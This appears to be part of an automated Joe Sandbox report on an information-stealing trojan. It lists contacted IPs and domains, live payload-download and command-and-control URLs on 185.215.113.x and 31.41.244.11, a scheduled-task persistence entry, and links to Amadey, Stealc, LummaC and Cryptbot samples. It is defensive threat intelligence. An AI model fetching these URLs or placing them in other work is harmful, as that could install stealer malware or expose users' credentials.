http://185.215.113.16/luma/random.exec61395d7f	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeo	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpplorerFPS_BROWSERM	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exen	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe506238476	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.106	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://sb.scorecardresearch.com/b2?rn=1732283037067&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0AFE249FEBCF639338DA31A0EAE662C3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://sb.scorecardresearch.com/b?rn=1732283037067&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0AFE249FEBCF639338DA31A0EAE662C3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732283046679&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://c.msn.com/c.gif?rnd=1732283037066&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e86e0d66dc7146a5907dace5bc002599&activityId=e86e0d66dc7146a5907dace5bc002599&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732283037064&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr, AFBFHDBK.0.dr, Web Data.10.dr	false		high
http://185.215.113.16/luma/random.exe2g	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr, AFBFHDBK.0.dr, Web Data.10.dr	false		high
http://www.broofa.com	chromecache_307.5.dr	false		high
http://31.41.244.11/files/random.exeurlencodedy	skotes.exe, 00000019.00000002.3486643108.000000000106E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.com/0	000003.log8.10.dr	false		high
https://ntp.msn.com/_default	QuotaManager.10.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.11.dr	false		high
https://docs.google.com/	manifest.json0.10.dr	false		high
https://curl.se/docs/hsts.html	f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	false		high
http://185.215.113.16/luma/random.exe-3693405117-Ke	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllA	file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.10.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	HDAKJDHIEBFIIDGDGDBA.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dlle	file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exeS	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr, AFBFHDBK.0.dr, Web Data.10.dr	false		high
https://assets.msn.com	bf7290cd-1c5f-4508-81ed-01181841ed8e.tmp.11.dr	false		high
https://curl.se/docs/alt-svc.html	f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	false		high
http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce90241	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ace-snapper-privately.ngrok-free.app/test/testFailed	f3f60a7f50.exe, 0000001B.00000003.3442308926.0000000007372000.00000004.00001000.00020000.00000000.sdmp, f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.10.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2679417336.0000000023D56000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2778649643.0000000000A65000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.16/luma/random.exeF	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_307.5.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.11.dr	false		high
https://www.google.com/chrome	content.js.10.dr, content_new.js.10.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	file.exe, 00000000.00000003.2679417336.0000000023D56000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	manifest.json.10.dr	false		high
http://185.215.113.16/luma/random.exe2	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exe0	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json0.10.dr	false		high
https://msn.comXIDv10	Cookies.11.dr	false		high
http://185.215.113.16/1	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 00000019.00000002.3486643108.000000000106E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore/	manifest.json.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpN	file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/mine/random.exex	file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347U	f3f60a7f50.exe, 0000001B.00000002.3488386085.000000000165E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2811087344.0000000023B03000.00000004.00000020.00020000.00000000.sdmp, HDAKJDHIEBFIIDGDGDBA.0.dr	false		high
http://html4/loose.dtd	f3f60a7f50.exe, 0000001B.00000003.3442308926.0000000007372000.00000004.00001000.00020000.00000000.sdmp, f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpZ	file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpY	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exex	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpf	file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe008203001	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dll3	file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/mine/random.exeT	file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr, AFBFHDBK.0.dr, Web Data.10.dr	false		high
http://.css	f3f60a7f50.exe, 0000001B.00000003.3442308926.0000000007372000.00000004.00001000.00020000.00000000.sdmp, f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2811087344.0000000023B03000.00000004.00000020.00020000.00000000.sdmp, HDAKJDHIEBFIIDGDGDBA.0.dr	false		high
http://185.215.113.16/luma/random.exe	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com	000003.log.10.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpO	skotes.exe, 00000019.00000002.3486643108.000000000106E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-staging.corp.google.com/	manifest.json0.10.dr	false		high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347libgcc_s_dw2-1.dll__register_frame_info__der	f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr, AFBFHDBK.0.dr, Web Data.10.dr	false		high
http://185.215.113.16/luma/random.exec61395d7f	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpplorerFPS_BROWSERM	file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exeo	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exen	skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	chromecache_307.5.dr	false		high
https://ntp.msn.com/	000003.log8.10.dr, 000003.log0.10.dr	false		high
http://.jpg	f3f60a7f50.exe, 0000001B.00000003.3442308926.0000000007372000.00000004.00001000.00020000.00000000.sdmp, f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2819998780.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2808099605.000000001D99F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start	Session_13376756624663017.10.dr	false		high
https://ntp.msn.com/ntp.msn.com_default	QuotaManager.10.dr	false		high
http://31.41.244.11/files/random.exe506238476	skotes.exe, 00000019.00000002.3486643108.000000000106E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr, AFBFHDBK.0.dr, Web Data.10.dr	false		high
https://curl.se/docs/http-cookies.html	f3f60a7f50.exe, 0000001B.00000003.3442308926.0000000007372000.00000004.00001000.00020000.00000000.sdmp, f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2811087344.0000000023B03000.00000004.00000020.00020000.00000000.sdmp, HDAKJDHIEBFIIDGDGDBA.0.dr	false		high
https://drive-autopush.corp.google.com/	manifest.json0.10.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.106	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
20.189.173.7	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.203.89	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
23.200.88.22	unknown	United States	16625	AKAMAI-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.44.203.91	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
18.164.116.57	unknown	United States	3	MIT-GATEWAYSUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.117.182.73	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.203.77	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560914
Start date and time:	2024-11-22 14:42:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@77/299@26/27
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.17.46, 64.233.165.84, 192.229.221.95, 34.104.35.123, 172.217.17.74, 142.250.181.106, 172.217.19.234, 142.250.181.138, 172.217.19.170, 172.217.19.202, 172.217.21.42, 142.250.181.74, 172.217.17.42, 2.20.68.201, 142.250.181.42, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.69.228, 2.16.34.27, 104.86.110.72, 2.16.158.91, 2.16.158.179, 2.16.158.170, 2.16.158.176, 2.16.158.83, 2.16.158.169, 2.16.158.171, 2.16.158.88, 2.16.158.90, 2.16.158.186, 2.16.158.192, 2.16.158.33, 2.16.158.35, 2.16.158.34, 2.16.158.27, 2.16.158.185, 2.16.158.26, 2.16.34.25, 104.86.110.18, 92.122.154.103, 92.122.154.89, 92.122.154.94, 92.122.154.95, 92.122.154.96, 92.122.154.110, 92.122.154.97, 92.122.154.102, 92.122.154.104, 172.165.61.93, 2.16.158.82, 2.16.158.72, 2.16.158.80, 2.16.158.73, 2.16.158.74, 2.16.158.75, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.16.34.34, 104.86.110.43, 142.250.80.67, 142.251.40.163, 142.250.65.163, 142.250.81
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net
Execution Graph export aborted for target DocumentsIJEGDBGDBF.exe, PID 8056 because it is empty
Execution Graph export aborted for target f3f60a7f50.exe, PID 8240 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8848 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
08:43:47	API Interceptor	180x Sleep call for process: file.exe modified
08:45:01	API Interceptor	191x Sleep call for process: skotes.exe modified
14:44:11	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	Tygvfe21rw.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	MayitaV16.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	1732215862df90b858ebf82740ce134fb5917becbb3385f4dfc36cbe28d6e90709df01f065739.dat-decoded.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
home.fvtekk5pn.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
